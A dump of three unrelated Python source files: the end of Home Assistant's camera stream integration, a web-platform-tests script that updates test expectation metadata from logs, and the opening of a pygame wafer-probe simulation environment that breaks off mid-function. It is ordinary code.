"?auth=****"), ] def redact_credentials(data: str) -> str: """Redact credentials from string data.""" for (pattern, repl) in STREAM_SOURCE_REDACT_PATTERN: data = pattern.sub(repl, data) return data def create_stream( hass: HomeAssistant, stream_source: str, options: dict[str, str], stream_label: str | None = None, ) -> Stream: """Create a stream with the specified identfier based on the source url. The stream_source is typically an rtsp url (though any url accepted by ffmpeg is fine) and options are passed into pyav / ffmpeg as options. The stream_label is a string used as an additional message in logging. """ if DOMAIN not in hass.config.components: raise HomeAssistantError("Stream integration is not set up.") # For RTSP streams, prefer TCP if isinstance(stream_source, str) and stream_source[:7] == "rtsp://": options = { "rtsp_flags": "prefer_tcp", "stimeout": "5000000", **options, } stream = Stream(hass, stream_source, options=options, stream_label=stream_label) hass.data[DOMAIN][ATTR_STREAMS].append(stream) return stream CONFIG_SCHEMA = vol.Schema( { DOMAIN: vol.Schema( { vol.Optional(CONF_LL_HLS, default=False): cv.boolean, vol.Optional(CONF_SEGMENT_DURATION, default=6): vol.All( cv.positive_float, vol.Range(min=2, max=10) ), vol.Optional(CONF_PART_DURATION, default=1): vol.All( cv.positive_float, vol.Range(min=0.2, max=1.5) ), } ) }, extra=vol.ALLOW_EXTRA, ) def filter_libav_logging() -> None: """Filter libav logging to only log when the stream logger is at DEBUG.""" stream_debug_enabled = logging.getLogger(__name__).isEnabledFor(logging.DEBUG) def libav_filter(record: logging.LogRecord) -> bool: return stream_debug_enabled for logging_namespace in ( "libav.mp4", "libav.h264", "libav.hevc", "libav.rtsp", "libav.tcp", "libav.tls", "libav.mpegts", "libav.NULL", ): logging.getLogger(logging_namespace).addFilter(libav_filter) # Set log level to error for libav.mp4 logging.getLogger("libav.mp4").setLevel(logging.ERROR) # Suppress "deprecated pixel format" WARNING logging.getLogger("libav.swscaler").setLevel(logging.ERROR) async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool: """Set up stream.""" # Drop libav log messages if stream logging is above DEBUG filter_libav_logging() # Keep import here so that we can import stream integration without installing reqs # pylint: disable=import-outside-toplevel from .recorder import async_setup_recorder hass.data[DOMAIN] = {} hass.data[DOMAIN][ATTR_ENDPOINTS] = {} hass.data[DOMAIN][ATTR_STREAMS] = [] if (conf := config.get(DOMAIN)) and conf[CONF_LL_HLS]: assert isinstance(conf[CONF_SEGMENT_DURATION], float) assert isinstance(conf[CONF_PART_DURATION], float) hass.data[DOMAIN][ATTR_SETTINGS] = StreamSettings( ll_hls=True, min_segment_duration=conf[CONF_SEGMENT_DURATION] - SEGMENT_DURATION_ADJUSTER, part_target_duration=conf[CONF_PART_DURATION], hls_advance_part_limit=max(int(3 / conf[CONF_PART_DURATION]), 3), hls_part_timeout=2 * conf[CONF_PART_DURATION], ) else: hass.data[DOMAIN][ATTR_SETTINGS] = StreamSettings( ll_hls=False, min_segment_duration=TARGET_SEGMENT_DURATION_NON_LL_HLS - SEGMENT_DURATION_ADJUSTER, part_target_duration=TARGET_SEGMENT_DURATION_NON_LL_HLS, hls_advance_part_limit=3, hls_part_timeout=TARGET_SEGMENT_DURATION_NON_LL_HLS, ) # Setup HLS hls_endpoint = async_setup_hls(hass) hass.data[DOMAIN][ATTR_ENDPOINTS][HLS_PROVIDER] = hls_endpoint # Setup Recorder async_setup_recorder(hass) @callback def shutdown(event: Event) -> None: """Stop all stream workers.""" for stream in hass.data[DOMAIN][ATTR_STREAMS]: stream.keepalive = False stream.stop() _LOGGER.info("Stopped stream workers") hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, shutdown) return True class Stream: """Represents a single stream.""" def __init__( self, hass: HomeAssistant, source: str, options: dict[str, str], stream_label: str | None = None, ) -> None: """Initialize a stream.""" self.hass = hass self.source = source self.options = options self._stream_label = stream_label self.keepalive = False self.access_token: str | None = None self._thread: threading.Thread | None = None self._thread_quit = threading.Event() self._outputs: dict[str, StreamOutput] = {} self._fast_restart_once = False self._keyframe_converter = KeyFrameConverter(hass) self._available: bool = True self._update_callback: Callable[[], None] | None = None self._logger = ( logging.getLogger(f"{__package__}.stream.{stream_label}") if stream_label else _LOGGER ) def endpoint_url(self, fmt: str) -> str: """Start the stream and returns a url for the output format.""" if fmt not in self._outputs: raise ValueError(f"Stream is not configured for format '{fmt}'") if not self.access_token: self.access_token = secrets.token_hex() endpoint_fmt: str = self.hass.data[DOMAIN][ATTR_ENDPOINTS][fmt] return endpoint_fmt.format(self.access_token) def outputs(self) -> Mapping[str, StreamOutput]: """Return a copy of the stream outputs.""" # A copy is returned so the caller can iterate through the outputs # without concern about self._outputs being modified from another thread. return MappingProxyType(self._outputs.copy()) def add_provider( self, fmt: str, timeout: int = OUTPUT_IDLE_TIMEOUT ) -> StreamOutput: """Add provider output stream.""" if not self._outputs.get(fmt): @callback def idle_callback() -> None: if ( not self.keepalive or fmt == RECORDER_PROVIDER ) and fmt in self._outputs: self.remove_provider(self._outputs[fmt]) self.check_idle() provider = PROVIDERS[fmt]( self.hass, IdleTimer(self.hass, timeout, idle_callback) ) self._outputs[fmt] = provider return self._outputs[fmt] def remove_provider(self, provider: StreamOutput) -> None: """Remove provider output stream.""" if provider.name in self._outputs: self._outputs[provider.name].cleanup() del self._outputs[provider.name] if not self._outputs: self.stop() def check_idle(self) -> None: """Reset access token if all providers are idle.""" if all(p.idle for p in self._outputs.values()): self.access_token = None @property def available(self) -> bool: """Return False if the stream is started and known to be unavailable.""" return self._available def set_update_callback(self, update_callback: Callable[[], None]) -> None: """Set callback to run when state changes.""" self._update_callback = update_callback @callback def _async_update_state(self, available: bool) -> None: """Set state and Run callback to notify state has been updated.""" self._available = available if self._update_callback: self._update_callback() def start(self) -> None: """Start a stream.""" if self._thread is None or not self._thread.is_alive(): if self._thread is not None: # The thread must have crashed/exited. Join to clean up the # previous thread. self._thread.join(timeout=0) self._thread_quit.clear() self._thread = threading.Thread( name="stream_worker", target=self._run_worker, ) self._thread.start() self._logger.info( "Started stream: %s", redact_credentials(str(self.source)) ) def update_source(self, new_source: str) -> None: """Restart the stream with a new stream source.""" self._logger.debug("Updating stream source %s", new_source) self.source = new_source self._fast_restart_once = True self._thread_quit.set() def _run_worker(self) -> None: """Handle consuming streams and restart keepalive streams.""" # Keep import here so that we can import stream integration without installing reqs # pylint: disable=import-outside-toplevel from .worker import StreamState, StreamWorkerError, stream_worker stream_state = StreamState(self.hass, self.outputs) wait_timeout = 0 while not self._thread_quit.wait(timeout=wait_timeout): start_time = time.time() self.hass.add_job(self._async_update_state, True) try: stream_worker( self.source, self.options, stream_state, self._keyframe_converter, self._thread_quit, ) except StreamWorkerError as err: self._logger.error("Error from stream worker: %s", str(err)) self._available = False stream_state.discontinuity() if not self.keepalive or self._thread_quit.is_set(): if self._fast_restart_once: # The stream source is updated, restart without any delay. self._fast_restart_once = False self._thread_quit.clear() continue break self.hass.add_job(self._async_update_state, False) # To avoid excessive restarts, wait before restarting # As the required recovery time may be different for different setups, start # with trying a short wait_timeout and increase it on each reconnection attempt. # Reset the wait_timeout after the worker has been up for several minutes if time.time() - start_time > STREAM_RESTART_RESET_TIME: wait_timeout = 0 wait_timeout += STREAM_RESTART_INCREMENT self._logger.debug( "Restarting stream worker in %d seconds: %s", wait_timeout, self.source, ) self._worker_finished() def _worker_finished(self) -> None: """Schedule cleanup of all outputs.""" @callback def remove_outputs() -> None: for provider in self.outputs().values(): self.remove_provider(provider) self.hass.loop.call_soon_threadsafe(remove_outputs) def stop(self) -> None: """Remove outputs and access token.""" self._outputs = {} self.access_token = None if not self.keepalive: self._stop() def _stop(self) -> None: """Stop worker thread.""" if self._thread is not None: self._thread_quit.set() self._thread.join() self._thread = None self._logger.info( "Stopped stream: %s", redact_credentials(str(self.source)) ) async def async_record( self, video_path: str, duration: int = 30, lookback: int = 5 ) -> None: """Make a .mp4 recording from a provided stream.""" # Keep import here so that we can import stream integration without installing reqs # pylint: disable=import-outside-toplevel from .recorder import RecorderOutput # Check for file access if not self.hass.config.is_allowed_path(video_path): raise HomeAssistantError(f"Can't write {video_path}, no access to path!") # Add recorder if recorder := self.outputs().get(RECORDER_PROVIDER): assert isinstance(recorder, RecorderOutput) raise HomeAssistantError( f"Stream already recording to {recorder.video_path}!" ) recorder = cast( RecorderOutput, self.add_provider(RECORDER_PROVIDER, timeout=duration) ) recorder.video_path = video_path self.start() self._logger.debug("Started a stream recording of %s seconds", duration) # Take advantage of lookback hls: HlsStreamOutput = cast(HlsStreamOutput, self.outputs().get(HLS_PROVIDER)) if lookback > 0 and hls: num_segments = min(int(lookback // hls.target_duration), MAX_SEGMENTS) # Wait for latest segment, then add the lookback await hls.recv() recorder.prepend(list(hls.get_segments())[-num_segments:]) async def async_get_image( self, width: int | None = None, height: int | None = None, ) -> bytes | None: """ Fetch an image from the Stream and return it as a jpeg in bytes. Calls async_get_image from KeyFrameConverter. async_get_image should only be called directly from the main loop and not from an executor thread as it uses hass.add_executor_job underneath the hood. """ return await self._keyframe_converter.async_get_image( width=width, height=height )
py
1a4ce40f86c1fe6c6fdec880471a4d8a0ed944c4
from __future__ import print_function import array import os import shutil import tempfile import uuid from collections import defaultdict, namedtuple from mozlog import structuredlog from . import manifestupdate from . import testloader from . import wptmanifest from . import wpttest from .expected import expected_path from .vcs import git manifest = None # Module that will be imported relative to test_root manifestitem = None logger = structuredlog.StructuredLogger("web-platform-tests") try: import ujson as json except ImportError: import json def update_expected(test_paths, serve_root, log_file_names, rev_old=None, rev_new="HEAD", ignore_existing=False, sync_root=None, property_order=None, boolean_properties=None, stability=None): """Update the metadata files for web-platform-tests based on the results obtained in a previous run or runs If stability is not None, assume log_file_names refers to logs from repeated test jobs, disable tests that don't behave as expected on all runs""" do_delayed_imports(serve_root) id_test_map = load_test_data(test_paths) for metadata_path, updated_ini in update_from_logs(id_test_map, *log_file_names, ignore_existing=ignore_existing, property_order=property_order, boolean_properties=boolean_properties, stability=stability): write_new_expected(metadata_path, updated_ini) if stability: for test in updated_ini.iterchildren(): for subtest in test.iterchildren(): if subtest.new_disabled: print("disabled: %s" % os.path.dirname(subtest.root.test_path) + "/" + subtest.name) if test.new_disabled: print("disabled: %s" % test.root.test_path) def do_delayed_imports(serve_root=None): global manifest, manifestitem from manifest import manifest, item as manifestitem def files_in_repo(repo_root): return git("ls-tree", "-r", "--name-only", "HEAD").split("\n") def rev_range(rev_old, rev_new, symmetric=False): joiner = ".." if not symmetric else "..." return "".join([rev_old, joiner, rev_new]) def paths_changed(rev_old, rev_new, repo): data = git("diff", "--name-status", rev_range(rev_old, rev_new), repo=repo) lines = [tuple(item.strip() for item in line.strip().split("\t", 1)) for line in data.split("\n") if line.strip()] output = set(lines) return output def load_change_data(rev_old, rev_new, repo): changes = paths_changed(rev_old, rev_new, repo) rv = {} status_keys = {"M": "modified", "A": "new", "D": "deleted"} # TODO: deal with renames for item in changes: rv[item[1]] = status_keys[item[0]] return rv def unexpected_changes(manifests, change_data, files_changed): files_changed = set(files_changed) root_manifest = None for manifest, paths in manifests.iteritems(): if paths["url_base"] == "/": root_manifest = manifest break else: return [] return [fn for _, fn, _ in root_manifest if fn in files_changed and change_data.get(fn) != "M"] # For each testrun # Load all files and scan for the suite_start entry # Build a hash of filename: properties # For each different set of properties, gather all chunks # For each chunk in the set of chunks, go through all tests # for each test, make a map of {conditionals: [(platform, new_value)]} # Repeat for each platform # For each test in the list of tests: # for each conditional: # If all the new values match (or there aren't any) retain that conditional # If any new values mismatch: # If stability and any repeated values don't match, disable the test # else mark the test as needing human attention # Check if all the RHS values are the same; if so collapse the conditionals class InternedData(object): """Class for interning data of any (hashable) type. This class is intended for building a mapping of int <=> value, such that the integer may be stored as a proxy for the real value, and then the real value obtained later from the proxy value. In order to support the use case of packing the integer value as binary, it is possible to specify a maximum bitsize of the data; adding more items than this allowed will result in a ValueError exception. The zero value is reserved to use as a sentinal.""" type_conv = None rev_type_conv = None def __init__(self, max_bits=8): self.max_idx = 2**max_bits - 2 # Reserve 0 as a sentinal self._data = [None], {} def store(self, obj): if self.type_conv is not None: obj = self.type_conv(obj) objs, obj_to_idx = self._data if obj not in obj_to_idx: value = len(objs) objs.append(obj) obj_to_idx[obj] = value if value > self.max_idx: raise ValueError else: value = obj_to_idx[obj] return value def get(self, idx): obj = self._data[0][idx] if self.rev_type_conv is not None: obj = self.rev_type_conv(obj) return obj class RunInfoInterned(InternedData): def type_conv(self, value): return tuple(value.items()) def rev_type_conv(self, value): return dict(value) prop_intern = InternedData(4) run_info_intern = RunInfoInterned() status_intern = InternedData(4) def load_test_data(test_paths): manifest_loader = testloader.ManifestLoader(test_paths, False) manifests = manifest_loader.load() id_test_map = {} for test_manifest, paths in manifests.iteritems(): id_test_map.update(create_test_tree(paths["metadata_path"], test_manifest)) return id_test_map def update_from_logs(id_test_map, *log_filenames, **kwargs): ignore_existing = kwargs.get("ignore_existing", False) property_order = kwargs.get("property_order") boolean_properties = kwargs.get("boolean_properties") stability = kwargs.get("stability") updater = ExpectedUpdater(id_test_map, ignore_existing=ignore_existing) for i, log_filename in enumerate(log_filenames): print("Processing log %d/%d" % (i + 1, len(log_filenames))) with open(log_filename) as f: updater.update_from_log(f) for item in update_results(id_test_map, property_order, boolean_properties, stability): yield item def update_results(id_test_map, property_order, boolean_properties, stability): test_file_items = set(id_test_map.itervalues()) default_expected_by_type = {} for test_type, test_cls in wpttest.manifest_test_cls.iteritems(): if test_cls.result_cls: default_expected_by_type[(test_type, False)] = test_cls.result_cls.default_expected if test_cls.subtest_result_cls: default_expected_by_type[(test_type, True)] = test_cls.subtest_result_cls.default_expected for test_file in test_file_items: updated_expected = test_file.update(property_order, boolean_properties, stability, default_expected_by_type) if updated_expected is not None and updated_expected.modified: yield test_file.metadata_path, updated_expected def directory_manifests(metadata_path): rv = [] for dirpath, dirname, filenames in os.walk(metadata_path): if "__dir__.ini" in filenames: rel_path = os.path.relpath(dirpath, metadata_path) rv.append(os.path.join(rel_path, "__dir__.ini")) return rv def write_changes(metadata_path, expected): # First write the new manifest files to a temporary directory temp_path = tempfile.mkdtemp(dir=os.path.split(metadata_path)[0]) write_new_expected(temp_path, expected) # Copy all files in the root to the temporary location since # these cannot be ini files keep_files = [item for item in os.listdir(metadata_path) if not os.path.isdir(os.path.join(metadata_path, item))] for item in keep_files: dest_dir = os.path.dirname(os.path.join(temp_path, item)) if not os.path.exists(dest_dir): os.makedirs(dest_dir) shutil.copyfile(os.path.join(metadata_path, item), os.path.join(temp_path, item)) # Then move the old manifest files to a new location temp_path_2 = metadata_path + str(uuid.uuid4()) os.rename(metadata_path, temp_path_2) # Move the new files to the destination location and remove the old files os.rename(temp_path, metadata_path) shutil.rmtree(temp_path_2) def write_new_expected(metadata_path, expected): # Serialize the data back to a file path = expected_path(metadata_path, expected.test_path) if not expected.is_empty: manifest_str = wptmanifest.serialize(expected.node, skip_empty_data=True) assert manifest_str != "" dir = os.path.split(path)[0] if not os.path.exists(dir): os.makedirs(dir) tmp_path = path + ".tmp" try: with open(tmp_path, "wb") as f: f.write(manifest_str) os.rename(tmp_path, path) except (Exception, KeyboardInterrupt): try: os.unlink(tmp_path) except OSError: pass else: try: os.unlink(path) except OSError: pass class ExpectedUpdater(object): def __init__(self, id_test_map, ignore_existing=False): self.id_test_map = id_test_map self.ignore_existing = ignore_existing self.run_info = None self.action_map = {"suite_start": self.suite_start, "test_start": self.test_start, "test_status": self.test_status, "test_end": self.test_end, "assertion_count": self.assertion_count, "lsan_leak": self.lsan_leak, "mozleak_object": self.mozleak_object, "mozleak_total": self.mozleak_total} self.tests_visited = {} def update_from_log(self, log_file): self.run_info = None try: data = json.load(log_file) except Exception: pass else: if "action" not in data and "results" in data: self.update_from_wptreport_log(data) return log_file.seek(0) self.update_from_raw_log(log_file) def update_from_raw_log(self, log_file): action_map = self.action_map for line in log_file: try: data = json.loads(line) except ValueError: # Just skip lines that aren't json continue action = data["action"] if action in action_map: action_map[action](data) def update_from_wptreport_log(self, data): action_map = self.action_map action_map["suite_start"]({"run_info": data["run_info"]}) for test in data["results"]: action_map["test_start"]({"test": test["test"]}) for subtest in test["subtests"]: action_map["test_status"]({"test": test["test"], "subtest": subtest["name"], "status": subtest["status"], "expected": subtest.get("expected")}) action_map["test_end"]({"test": test["test"], "status": test["status"], "expected": test.get("expected")}) if "asserts" in test: asserts = test["asserts"] action_map["assertion_count"]({"test": test["test"], "count": asserts["count"], "min_expected": asserts["min"], "max_expected": asserts["max"]}) for item in data.get("lsan_leaks", []): action_map["lsan_leak"](item) mozleak_data = data.get("mozleak", {}) for scope, scope_data in mozleak_data.iteritems(): for key, action in [("objects", "mozleak_object"), ("total", "mozleak_total")]: for item in scope_data.get(key, []): item_data = {"scope": scope} item_data.update(item) action_map[action](item_data) def suite_start(self, data): self.run_info = run_info_intern.store(data["run_info"]) def test_start(self, data): test_id = intern(data["test"].encode("utf8")) try: test_data = self.id_test_map[test_id] except KeyError: print("Test not found %s, skipping" % test_id) return if self.ignore_existing: test_data.set_requires_update() test_data.clear.add("expected") self.tests_visited[test_id] = set() def test_status(self, data): test_id = intern(data["test"].encode("utf8")) subtest = intern(data["subtest"].encode("utf8")) test_data = self.id_test_map.get(test_id) if test_data is None: return self.tests_visited[test_id].add(subtest) result = status_intern.store(data["status"]) test_data.set(test_id, subtest, "status", self.run_info, result) if data.get("expected") and data["expected"] != data["status"]: test_data.set_requires_update() def test_end(self, data): if data["status"] == "SKIP": return test_id = intern(data["test"].encode("utf8")) test_data = self.id_test_map.get(test_id) if test_data is None: return result = status_intern.store(data["status"]) test_data.set(test_id, None, "status", self.run_info, result) if data.get("expected") and data["status"] != data["expected"]: test_data.set_requires_update() del self.tests_visited[test_id] def assertion_count(self, data): test_id = intern(data["test"].encode("utf8")) test_data = self.id_test_map.get(test_id) if test_data is None: return test_data.set(test_id, None, "asserts", self.run_info, data["count"]) if data["count"] < data["min_expected"] or data["count"] > data["max_expected"]: test_data.set_requires_update() def test_for_scope(self, data): dir_path = data.get("scope", "/") dir_id = intern(os.path.join(dir_path, "__dir__").replace(os.path.sep, "/").encode("utf8")) if dir_id.startswith("/"): dir_id = dir_id[1:] return dir_id, self.id_test_map[dir_id] def lsan_leak(self, data): dir_id, test_data = self.test_for_scope(data) test_data.set(dir_id, None, "lsan", self.run_info, (data["frames"], data.get("allowed_match"))) if not data.get("allowed_match"): test_data.set_requires_update() def mozleak_object(self, data): dir_id, test_data = self.test_for_scope(data) test_data.set(dir_id, None, "leak-object", self.run_info, ("%s:%s", (data["process"], data["name"]), data.get("allowed"))) if not data.get("allowed"): test_data.set_requires_update() def mozleak_total(self, data): if data["bytes"]: dir_id, test_data = self.test_for_scope(data) test_data.set(dir_id, None, "leak-threshold", self.run_info, (data["process"], data["bytes"], data["threshold"])) if data["bytes"] > data["threshold"] or data["bytes"] < 0: test_data.set_requires_update() def create_test_tree(metadata_path, test_manifest): """Create a map of test_id to TestFileData for that test. """ do_delayed_imports() id_test_map = {} exclude_types = frozenset(["stub", "helper", "manual", "support", "conformancechecker", "reftest_base"]) all_types = manifestitem.item_types.keys() include_types = set(all_types) - exclude_types for item_type, test_path, tests in test_manifest.itertypes(*include_types): test_file_data = TestFileData(intern(test_manifest.url_base.encode("utf8")), intern(item_type.encode("utf8")), metadata_path, test_path, tests) for test in tests: id_test_map[intern(test.id.encode("utf8"))] = test_file_data dir_path = os.path.split(test_path)[0].replace(os.path.sep, "/") while True: if dir_path: dir_id = dir_path + "/__dir__" else: dir_id = "__dir__" dir_id = intern((test_manifest.url_base + dir_id).lstrip("/").encode("utf8")) if dir_id not in id_test_map: test_file_data = TestFileData(intern(test_manifest.url_base.encode("utf8")), None, metadata_path, dir_id, []) id_test_map[dir_id] = test_file_data if not dir_path or dir_path in id_test_map: break dir_path = dir_path.rsplit("/", 1)[0] if "/" in dir_path else "" return id_test_map class PackedResultList(object): """Class for storing test results. Results are stored as an array of 2-byte integers for compactness. The first 4 bits represent the property name, the second 4 bits represent the test status (if it's a result with a status code), and the final 8 bits represent the run_info. If the result doesn't have a simple status code but instead a richer type, we place that richer type in a dictionary and set the status part of the result type to 0. This class depends on the global prop_intern, run_info_intern and status_intern InteredData objects to convert between the bit values and corresponding Python objects.""" def __init__(self): self.data = array.array("H") __slots__ = ("data", "raw_data") def append(self, prop, run_info, value): out_val = (prop << 12) + run_info if prop == prop_intern.store("status"): out_val += value << 8 else: if not hasattr(self, "raw_data"): self.raw_data = {} self.raw_data[len(self.data)] = value self.data.append(out_val) def unpack(self, idx, packed): prop = prop_intern.get((packed & 0xF000) >> 12) value_idx = (packed & 0x0F00) >> 8 if value_idx == 0: value = self.raw_data[idx] else: value = status_intern.get(value_idx) run_info = run_info_intern.get(packed & 0x00FF) return prop, run_info, value def __iter__(self): for i, item in enumerate(self.data): yield self.unpack(i, item) class TestFileData(object): __slots__ = ("url_base", "item_type", "test_path", "metadata_path", "tests", "_requires_update", "clear", "data") def __init__(self, url_base, item_type, metadata_path, test_path, tests): self.url_base = url_base self.item_type = item_type self.test_path = test_path self.metadata_path = metadata_path self.tests = {intern(item.id.encode("utf8")) for item in tests} self._requires_update = False self.clear = set() self.data = defaultdict(lambda: defaultdict(PackedResultList)) def set_requires_update(self): self._requires_update = True def set(self, test_id, subtest_id, prop, run_info, value): self.data[test_id][subtest_id].append(prop_intern.store(prop), run_info, value) def expected(self, property_order, boolean_properties): expected_data = load_expected(self.url_base, self.metadata_path, self.test_path, self.tests, property_order, boolean_properties) if expected_data is None: expected_data = create_expected(self.url_base, self.test_path, property_order, boolean_properties) return expected_data def update(self, property_order, boolean_properties, stability, default_expected_by_type): if not self._requires_update: return expected = self.expected(property_order, boolean_properties) expected_by_test = {} for test_id in self.tests: if not expected.has_test(test_id): expected.append(manifestupdate.TestNode.create(test_id)) test_expected = expected.get_test(test_id) expected_by_test[test_id] = test_expected for prop in self.clear: test_expected.clear(prop) for test_id, test_data in self.data.iteritems(): for subtest_id, results_list in test_data.iteritems(): for prop, run_info, value in results_list: # Special case directory metadata if subtest_id is None and test_id.endswith("__dir__"): if prop == "lsan": expected.set_lsan(run_info, value) elif prop == "leak-object": expected.set_leak_object(run_info, value) elif prop == "leak-threshold": expected.set_leak_threshold(run_info, value) continue if prop == "status": value = Result(value, default_expected_by_type[self.item_type, subtest_id is not None]) test_expected = expected_by_test[test_id] if subtest_id is None: item_expected = test_expected else: item_expected = test_expected.get_subtest(subtest_id) if prop == "status": item_expected.set_result(run_info, value) elif prop == "asserts": item_expected.set_asserts(run_info, value) expected.coalesce_properties(stability=stability) for test in expected.iterchildren(): for subtest in test.iterchildren(): subtest.coalesce_properties(stability=stability) test.coalesce_properties(stability=stability) return expected Result = namedtuple("Result", ["status", "default_expected"]) def create_expected(url_base, test_path, property_order=None, boolean_properties=None): expected = manifestupdate.ExpectedManifest(None, test_path, url_base, property_order=property_order, boolean_properties=boolean_properties) return expected def load_expected(url_base, metadata_path, test_path, tests, property_order=None, boolean_properties=None): expected_manifest = manifestupdate.get_manifest(metadata_path, test_path, url_base, property_order=property_order, boolean_properties=boolean_properties) if expected_manifest is None: return # Remove expected data for tests that no longer exist for test in expected_manifest.iterchildren(): if test.id not in tests: test.remove() return expected_manifest
py
1a4ce4464b81a614d4df3fc5b6e273ba9fa958ac
# NEW COLORS 108.04.24 # output=gray colors import numpy as np import pygame import time # Define some colors COLORS = 3 # 測試次數上限 # 模擬器上顏色設定 BLACK = np.array((0, 0, 0)) WHITE = np.array((255, 255, 255)) BLUE = np.array((60, 150, 255)) PURPLE = np.array((153, 47, 185)) RED_PROBE = np.array((230, 90, 80)) YELLOW = np.array((235, 226, 80)) # 輸出圖顏色設定 BACKGROUND_COLORS = 255 # 背景 BUFFER_COLORS = 170 # 緩衝區 PROBE_COLORS = 220 # 探針 # 其他測試次數狀態 OTHER_COLORS = 129 NUM_COLORS = [] # ex: 測試上限3次 [129, 86, 43] for num in range(COLORS): NUM_COLORS.append(int(OTHER_COLORS * (1 - num / COLORS))) # This sets the WIDTH and HEIGHT of each grid location WIDTH = 1 # 實際環境圖,一像素代表一晶粒 HEIGHT = 1 # 實際環境圖 WIDTH_sc = 20 # 模擬器顯示畫面 HEIGHT_sc = 20 # 模擬器顯示畫面 # This sets the margin between each cell MARGIN = 0 # 實際環境圖 MARGIN_sc = 2 # 模擬器顯示畫面 # Probe's location when the environment initialize Initial = [(2, 2), (14, 14), (2, 14), (14, 2), (11, 5), (5, 11), (11, 11), (5, 5), (8, 8)] PACE = 1 # 移動步伐 class wafer_check(): def __init__(self,wafer,probe,mode=0,training_time=60,training_steps=0): self._envs = np.array(wafer) # 晶圓由 -1, 0表示(-1代表緩衝區, 0代表待測試晶粒) self._envs_nan = np.zeros(self._envs.shape) # 晶圓由 nan, 0 表示(nan代表緩衝區, 0代表待測試晶粒) self._probe = np.array(probe, np.int) # 探針卡由 0,1表示 self.envsY, self.envsX = self._envs.shape # 晶圓長寬 self.wafer_len = self.envsY * self.envsX # 晶粒總數 self.probY, self.probX = self._probe.shape # 探針長寬 self.probZ = max(self.probY, self.probX) # 探針最長邊 self.envs_list = [(b,a) for b in range(self.envsY) for a in range(self.envsX) if self._envs[b,a] == -1] # 緩衝區位置 self.envs_len = len(self.envs_list) # 緩衝區數量 self.probe_list = [(b,a) for b in range(self.probY) for a in range(self.probX) if self._probe[b,a] == 1] # 探針形狀 self.probe_len = len(self.probe_list) # 探針數量 self.size = [(self.envsX*WIDTH+(self.envsX+1)*MARGIN), (self.envsY*HEIGHT+(self.envsY+1)*MARGIN)] # 實際環境圖尺寸 self.size_sc = [(self.envsX*WIDTH_sc+(self.envsX+1)*MARGIN_sc), (self.envsY*HEIGHT_sc+(self.envsY+1)*MARGIN_sc)] # 模擬器顯示畫面尺寸 self._output = np.full((self.size[1],self.size[0]), BACKGROUND_COLORS, np.int) # 初始化輸出圖 self.location = np.array(Initial) # 初始位置 self.action_space = ['None','Down','Right','Up','Left','Down-Right','Up-Right','Up-Left','Down-Left'] self.action_space_num = int((len(self.action_space) - 1) * PACE) # 行為總數(為8個方向 * 移動步伐) self.available = np.zeros(self.action_space_num, dtype=np.float32) # 表示可移動行為之向量 self.num_max = COLORS self.reward_value = 0 # 獎勵 self.envs_mean = None # 所有晶粒被測試過次數平均 self.envs_std = None # 所有晶粒被測試過次數標準差 self.mode = mode # 是否顯示模擬畫面(是 = 1 ,否= 0) # 限制一回合最長可訓練時間(若設小於0則訓練時間為無限制) if training_time > 0: self.training_time = training_time else: self.training_time = np.inf # 限制一回合最多可移動步數(若設小於0則移動步數為無限制) if training_steps > 0: self.training_steps = training_steps else: self.training_steps = np.inf # 是否顯示模擬畫面(是 = 1 ,否= 0) if self.mode == 1: self.sc = pygame.display.set_mode(self.size_sc) # 初始化輸出圖 self.reset_observation() # 初始化環境 self.reset() # 計算方形尺寸 @staticmethod def rect(column, row): rect = [(MARGIN_sc + WIDTH_sc) * column + MARGIN_sc, (MARGIN_sc + HEIGHT_sc) * row + MARGIN_sc, WIDTH_sc, HEIGHT_sc] return rect # 於圖output上填顏色 @staticmethod def draw_plt(output, y, x, color): # X : column, Y : row for h in range(HEIGHT): for w in range(WIDTH): output_h = y * HEIGHT + h output_w = x * WIDTH + w output[output_h][output_w] = color def reset(self): #reset the environment self.y, self.x = self.location[np.random.randint(len(self.location))] # 隨機取一個初始位置為y, x self.y_last, self.x_last = self.y, self.x self.steps = 0 # 移動步署 self.dist = 0 # 移動距離 self.num_color = np.zeros(self.num_max+2, np.int) # 表示各個晶粒狀態的個數[未測試過, 已測試1次, 已測試2次, 已測試3次以上, 緩衝區] self.action = 'None' self.reward_value = 0 self.envs = np.copy(self._envs_nan) # 重新拷貝初始晶圓狀態 self.output = np.copy(self._output) # 重新拷貝初始輸出圖 if self.mode == 1: # 若有模擬畫面,畫面也須初始化 self.reset_envs() # 將初始探針位置的晶圓狀態改為測試一次 for b in range(self.probY): for a in range(self.probX): if self._probe[b][a] == 1 and not np.isnan(self.envs[self.y+b][self.x+a]): self.envs[self.y+b][self.x+a] = 1 self.num_color_last = np.zeros(self.num_max+2, np.int) # 表示前一次移動之各個晶粒狀態的個數 self.num_color_last[-1] = self.envs_len # 緩衝區個數 self.num_color_last[0] = (self._envs == 0).sum() # 未測試過數 self.time_end = time.time() + self.training_time # 有時間限制,最終訓練時刻 self.step() return self.output, self.available def step(self, action=None): #Agent's action now = time.time() if action != None: act = ((action) % 8) # 動作選擇(0~7) pace = int((action) / 8) + 1 # 動作移動步伐 self.done = 0 # 測試終止為1 self.envs_mean = None self.envs_std = None self.time_is_end = 0 # 時間限制,測試終止 self.steps_is_end = 0 # 總步數限制,測試終止 self.episode_is_end = 0 # 所有晶粒皆已測試完成,測試終止 self.reward_value = 0 if now < self.time_end and self.steps < self.training_steps: y = self.y x = self.x y_diff = self.envsY-self.probY # 探針座標於 y 方向最低位置 x_diff = self.envsX-self.probX # 探針座標於 x 方向最低位置 print(y_diff, x_diff) probe_list = self.probe_list invalid = 0 self.steps += 1 # 移動步數累計加1 # move the probe if action == None: # 若為None則移動步數修正,減1 invalid = -1 self.steps -= 1 self.action = 'None' elif pace > self.probZ: # 若步伐大於探針尺寸,視為無效行動 invalid = -1 self.steps -= 1 self.action = 'None' elif act == 0: if (y+pace-1) < y_diff: y += pace invalid = 0 self.action = 'Down' else: invalid = 1 elif act == 1: if (x+pace-1) < x_diff: x += pace invalid = 0 self.action = 'Right' else: invalid = 1 elif act == 2: if (y-pace+1) > 0: y -= pace invalid = 0 self.action = 'Up' else: invalid = 1 elif act == 3: if (x - pace+1) > 0: x -= pace invalid = 0 self.action = 'Left' else: invalid = 1 elif act == 4: if (y+pace-1) < y_diff and (x+pace-1) < x_diff: y += pace x += pace invalid = 0 self.action = 'Down-Right' else: invalid = 1 elif act == 5: if (y-pace+1) > 0 